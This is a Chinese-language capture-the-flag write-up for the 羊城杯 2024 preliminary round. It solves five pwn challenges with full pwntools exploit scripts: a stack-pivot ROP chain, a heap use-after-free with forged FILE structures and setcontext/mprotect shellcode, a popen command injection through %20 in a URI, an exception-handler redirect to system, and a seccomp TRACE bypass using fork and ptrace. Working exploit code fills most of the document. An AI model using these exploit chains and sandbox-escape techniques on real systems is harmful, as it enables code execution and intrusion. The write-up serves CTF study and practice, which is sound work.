羊城杯 2024 初赛 Pwn WriteUp

国内的比赛是真没啥含金量了

羊城杯 2024 初赛 Pwn WriteUp

已经是退役的牢登了,这次除了签了个到就看了一眼hardsandbox,没想到还是国外赛题的原考点还更简单。

剩下的题目参考了先知社区上的wp。

先知社区#1

先知社区#2

附件下载地址

pstack

签到题,栈迁移,不多说。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process('./pwn')
elf=ELF('./pwn')
libc=ELF("./libc.so.6")

leave_ret=0x4006DB
pivot_read=0x4006C4
fake_stack=0x601800

s.sendafter(b"overflow?\n",b"a"*0x30+p64(fake_stack+0x30)+p64(pivot_read))

pause()

rdi=0x0000000000400773
rsi_r15=0x0000000000400771
rbp=0x00000000004005b0
s.send(flat([
    rdi,elf.got['puts'],
    elf.plt['puts'],
    rbp,fake_stack+0x50+0x30,
    pivot_read,
    fake_stack-8,leave_ret
]))
libc.address=u64(s.recvuntil(b"\x7f")+b"\x00\x00")-libc.sym.puts
success(hex(libc.address))
rdx_rbx=libc.address+0x00000000000904a9
rsi=libc.address+0x000000000002be51
ogg=libc.address+0xebc88
s.send(flat([
    rdi,fake_stack+0x78,
    libc.sym.system,
    0,0,
    b"/bin/sh\x00",
    fake_stack+0x50-8,leave_ret
]))
s.interactive()

travel graph

由于route指针没删导致的UAF。

结构体:

最短路实现了暴力版的Dijkstra算法,弄一条长度大于2000的路径就能打开edit。

泄露指针部分,先申请一大一小然后free掉,在申请一小一大就能用申请回来的大块中残留的指针泄露libc和heap基址。

怎么造UAF,记现申请的一大一小为A和B,free后申请回来的一小一大为C和D。A可写入范围和D的范围前0x10byte重叠,可以造一个from to dist type的结构头,然后就能在它下面用D的指针UAF改。

堆风水真折磨啊写到最后都不知道自己写了啥。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
from pwn import *
import tty
context(arch='amd64', os='linux', log_level='debug')

cities=[b"guangzhou",b"nanning",b"changsha",b"nanchang",b"fuzhou"]

s=process('./pwn')
libc=ELF("./libc.so.6")
def menu(ch):
    s.sendlineafter(b"distance.\n",str(ch).encode())

def add(size,idfrom,idto,dist=1000,note=b"/bin/sh\x00"):
    menu(1)
    if size==0x510:
        trans_type=b"car"
    elif size==0x520:
        trans_type=b"train"
    elif size==0x530:
        trans_type=b"plane"
    else:
        print("Invalid size")
        exit(-1)
    s.sendlineafter(b"plane?\n",trans_type)
    s.sendlineafter(b"where?\n",cities[idfrom])
    s.sendlineafter(b"where?\n",cities[idto])
    s.sendlineafter(b"far?\n",str(dist).encode())
    if note==b"": note=chr(tty.CEOF).encode()
    s.sendafter(b"Note:\n",note)

def delete(idfrom,idto):
    menu(2)
    s.sendlineafter(b"where?\n",cities[idfrom])
    s.sendlineafter(b"where?\n",cities[idto])

def show(idfrom,idto):
    menu(3)
    s.sendlineafter(b"where?\n",cities[idfrom])
    s.sendlineafter(b"where?\n",cities[idto])
    s.recvuntil(b"Distance:")
    distance=int(s.recvline().strip())
    s.recvuntil(b"Note:")
    note=s.recvline().strip()
    return distance,note

def edit(idfrom,idto,dist,note):
    menu(4)
    s.sendlineafter(b"where?\n",cities[idfrom])
    s.sendlineafter(b"where?\n",cities[idto])
    s.sendlineafter(b"change?\n",b"0")
    s.sendlineafter(b"far?\n",str(dist).encode())
    s.sendafter(b"Note:\n",note)

def calc(idto):
    menu(5)
    s.sendlineafter(b"name\n",cities[idto])

if __name__=="__main__":
    pause()
    add(0x510,0,1)
    add(0x530,1,2)
    add(0x520,2,2)
    add(0x510,2,3)
    add(0x530,3,4)
    add(0x520,3,3)
    calc(4)
    
    delete(1,2)
    delete(0,1)

    add(0x530,1,2,1000,b"a")
    _,dat=show(1,2)
    heap_base=u64(dat.ljust(8,b"\x00"))-0x61+0x70-0x1470
    success(hex(heap_base))
    delete(1,2)
    
    add(0x530,1,2,1000,b"A"*0x510)
    _,dat=show(1,2)
    libc.address=u64(dat[-6:].ljust(8,b"\x00"))-0x7f6391164ce0+0x7f6390f4b000-0x1000
    success(hex(libc.address))
    pause()
    add(0x510,0,1)

    delete(1,2)
    add(0x530,1,2,1000,flat([
        b"A"*0x508,0x14d1,
        p32(0),p32(4),p32(123),p32(0)
    ]))
    delete(0,1)
    add(0x530,3,3)

    edit(4,0,0,flat([
        0,0x531,0,0,0,libc.sym._IO_list_all-0x20
    ]))
    delete(2,3)
    add(0x530,1,4)
    add(0x530,0,0,1,flat(0,0x521,heap_base+0x2400,libc.address+0x21a110,heap_base+0x2400,heap_base+0x2400))
    rdi=libc.address+0x000000000002a3e5
    rsi=libc.address+0x000000000002be51
    rdx_rbx=libc.address+0x00000000000904a9
    magic=libc.address+0x167420
    shellcode="""
        add rdi,0x2700
        xor rsi,rsi
        xor rdx,rdx
        mov rax,2
        mov r15,rdi
        syscall
        mov rdi,rax
        mov rsi,r15
        mov rdx,0x100
        mov rax,0
        syscall
        mov rdi,1
        mov rax,1
        syscall
        mov rax,60
        xor rdi,rdi
        syscall
    """
    delete(0,4)
    add(0x530,0,0)
    add(0x530,0,0)
    add(0x530,0,4,1000,flat({
        0x68-0x30:heap_base+0x2500,
        0xd8-0x30:libc.sym._IO_wfile_jumps,
        0xa0-0x30:heap_base+0x2400+0x100,
        0x100-0x30:flat({
            0:0,
            8:heap_base+0x2400+0x300,
            0x28:1,
            0xd8:libc.sym._IO_wfile_jumps,
            0xa0:heap_base+0x2400+0x200,
        },filler=b"\x00",length=0x100),
        0x200-0x30:flat({
            0x18:0,
            0x30:0,
            0x38:heap_base+0x2400+0x300,
            0xe0:heap_base+0x2400+0x200,
            0x68:magic,
        },filler=b"\x00",length=0x100),
        0x300-0x30:flat({
            0:"/flag\x00",
            0x20:libc.sym.setcontext+61,
            0xa8:rdi+1,
            0xa0:heap_base+0x2400+0x400,
            0x100:flat([
                rdi,heap_base,
                rsi,0x20000,
                rdx_rbx,7,0,
                libc.sym.mprotect,
                heap_base+0x2400+0x400+0x48,
            ])+asm(shellcode)
        },filler=b"\x00"),
    },filler=b"\x00"))
    s.interactive()

httpd

解析uri的时候用的是popen,其他啥也没给,鉴定为命令注入。

uriurldecode后中的过滤没有过滤空格,且前导左斜杠在popen的时候会被去掉,可以用%20进行命令注入。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from pwn import *
def send_req(uri):
    s=process("./httpd")
    s.sendline(b"GET "+uri+b" HTTP/1.0")
    s.sendline(b"Host: 127.0.0.1")
    s.sendline(b"Content-Length: 80")
    print(s.recvall())
    s.close()
send_req(b"/cp%20/flag%20/home/ctf/html")
send_req(b"/flag")

logger

把system藏到了异常处理的catch中。

warn功能有个栈溢出,可以把返回地址改成对应try分支的call ___cxa_throw的返回地址,即catch的第一条指令地址就能走到system。

command虽然是写死在0x4040a0的,但trace功能有一个从0x404020开始写9条0x10长度的功能,算一下就能发现0x4040a0是第9条,可以覆盖。

但在此之前还要用trace功能输入时的off-by-null把0x4040a0字符串的低位清零,否则过不了开头那个看每个字符串第一个byte是否为0的checker,写不进去。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
s=process("./pwn")
elf=ELF("./pwn")

def menu(ch):
    s.sendlineafter("chocie:",str(ch))
def trace(content):
    menu(1)
    s.sendafter(b"here:",content)
    s.sendlineafter(b"records?",b"n")

try_return=0x401bc7
pause()
for i in range(8):
    trace(b"/bin/sh;")
trace(b"A"*0x10)
trace(b"/bin/sh;") 

menu(2)
s.sendafter(b"plz: ",b"a"*0x70+p64(0x404040)+p64(try_return))

s.interactive()

hard sandbox

第一反应有一个SYS_openat2的非预期,然后试了一下发现远程不通。

然后搜了一手就出了原题。

纯傻逼。

据其他人写的wp,有消息人士称远程内核版本为5.4。

ref#1: BalsnCTF 2022 wp from ctftime

ref#2L BalsnCTF 2022 wp from hackmd

本题核心要点在于沙盒的绕过,前利用阶段的高版本UAF手法在这里不再赘述。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x05 0x00 0x40000000  if (A >= 0x40000000) goto 0009
 0004: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0009
 0005: 0x15 0x03 0x00 0x00000101  if (A == openat) goto 0009
 0006: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0009
 0007: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x7ff00000  return TRACE

搜索linux seccomp "return trace",就能找到2022年国外比赛的一道题。

以及Seccomp的官方文档中对于TRACE的描述可参考此处

相关CVE:CVE-2022-30594

相关issue:

他没禁ptrace,可以打。

对于本题来说,我们的沙盒甚至还要再简单一点,直接fork一个子进程出来就基本上是国外赛题的环境,照他说的这部分复现即可。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
//In short, the parent does:

ptrace(PTRACE_SEIZE, child_pid, NULL, PTRACE_O_TRACESECCOMP) = 0
wait(0)
exit(0)

//And the child does:

sleep(3)
open("home/asianparent/flag.txt", O_RDONLY)
read(7, e.bss(), 100)
write(1, e.bss(), 100)

这里采用函数调用的方式,手动shellcode会出问题,glibc的内部实现有我shellcode没实现的东西遂作罢。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
# see: https://hackmd.io/@RobinJadoul/Bkxyol8gi#Asian-Parents
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
#s=process("./pwn")
s=remote("49.234.30.109",9999)
elf=ELF("./pwn")
libc=ELF("./libc-2.36.so")

def menu(ch):
    s.sendlineafter(b">",str(ch).encode())

def add(idx,size):
    menu(1)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.sendlineafter(b"Size: ",str(size).encode())

def delete(idx):
    menu(2)
    s.sendlineafter(b"Index: ",str(idx).encode())

def edit(idx,content):
    menu(3)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.sendafter(b"Content: ",content)

def show(idx):
    menu(4)
    s.sendlineafter(b"Index: ",str(idx).encode())
    return s.recvline(keepends=False)

if __name__=="__main__":
    pause()
    add(0,0x600)
    add(1,0x610)
    add(2,0x5f0)
    delete(0)
    libc.address=u64(show(0)+b"\x00\x00")-(0x7fb54895dcc0-0x7fb548767000)
    success(hex(libc.address))
    #pause()

    add(3,0x610)
    edit(0,b"a"*0x10)
    heap_base=u64(show(0)[-6:]+b"\x00\x00")-0x290
    success(hex(heap_base))

    delete(2)
    edit(0,flat([
        0,0,0,libc.sym._IO_list_all-0x20,
    ]))
    add(4,0x700)

    """
    _IO_list_all->file->_chain @ 2+0x58
    heap_base
    0xec0 <- _IO_list_all _chain controllable
    0xed0 <- write start
    0xec0+0x180 <- fully controlled file structure
    0xec0+0x180+0x180 <- fully controlled _wide_data
    """
    magic=libc.address+0x160E56
    rdi=0x0000000000023b65+libc.address
    rsi=0x00000000000251be+libc.address
    rdx=0x0000000000166262+libc.address
    rax=0x000000000003fa43+libc.address
    syscall_ret=0x000000000008cc36+libc.address
    """
            
    """
    shellcode=f"""
        mov r14,{heap_base}
        mov rax,__NR_fork
        syscall
        test rax,rax
        jnz parent
    child:
        
        mov rdi,3
        call qword ptr [r14+0x2a0+0x48]
        mov rax,__NR_open
        mov rdi,{heap_base+0x2a0}
        xor rsi,rsi
        xor rdx,rdx
        syscall
        // now open should be ok, but leave a err msg here
        cmp rax,0
        jge rnw
        // jmp if fine, loop if failed
    print_errno:
        neg rax
        mov r15,rax
        mov rdi,1
        mov rsi,{heap_base+0x2a0+0x38}
        mov rdx,8
        jmp loop
    loop_start:
        sub r15,1
        mov rax,__NR_write
        syscall
    loop:
        cmp r15,0
        jne loop_start
        jmp final_exit

    rnw:
        mov rdi,rax
        mov rsi,{heap_base+0x1000}
        mov rdx,0x100
        mov rax,__NR_read
        syscall
        mov rdi,1
        mov rax,__NR_write
        syscall
    final_exit:
        mov rax,__NR_exit
        xor rdi,rdi
        syscall
    parent:
        mov rdi,0x4206
        mov rsi,rax
        xor rdx,rdx
        mov rcx,0x80
        call qword ptr [r14+0x2a0+0x50]
        mov rax,__NR_wait4
        xor rdi,rdi
        xor rsi,rsi
        xor rdx,rdx
        syscall
        mov rax,__NR_exit
        xor rdi,rdi
        syscall
    """
    file=flat({
        0:0xfbad1800,
        0x28:1,
        0xd8:libc.sym._IO_wfile_jumps,
        0xa0:heap_base+0xec0+0x180+0x180,
    },filler=b"\x00",length=0x180)
    widedata=flat({
        0x18:0,
        0x30:0,
        0x38:heap_base+0x2a0,
        0xe0:heap_base+0xec0+0x180+0x180,
        0x68:magic,
    },filler=b"\x00",length=0x100)
    file=bytes(file)

    edit(2,flat([
        b"\x00"*0x58,
        heap_base+0xec0+0x180,
    ]).ljust(0x170,b"\x00")
    +file
    +widedata
    )
    edit(0,flat({
        0:"/flag\x00",
        8:flat([0,0,1]),
        0x20:libc.sym.setcontext+61,
        0x28:"/flag.txt",
        0x38:"counter\n",
        0x48:libc.sym.sleep,
        0x50:libc.sym.ptrace,
        0xa8:rdi+1,
        0xa0:heap_base+0x3a0,
        0x100:flat([
            rdi,heap_base,
            rsi,0x20000,
            rdx,7,
            libc.sym.mprotect,
            rdi+1,heap_base+0x3a0+0x48,
        ])+asm(shellcode)
    },filler=b"\x00"))
    menu(5)
    s.interactive()

后记

赛后细看了看相关CVE以及国外原题,感觉CVE非必须,只需要做一个父子进程环境出来,然后能让父进程收到子进程的SECCOMP_RET_TRACE信号并处理(不管)即可。

父进程解法可以变为:

1
2
3
4
ptrace(PTRACE_SETOPTIONS, child_pid, NULL, PTRACE_O_TRACESECCOMP);
ptrace(PTRACE_CONT, child_pid, NULL, NULL);
wait(0);
exit(0);
0%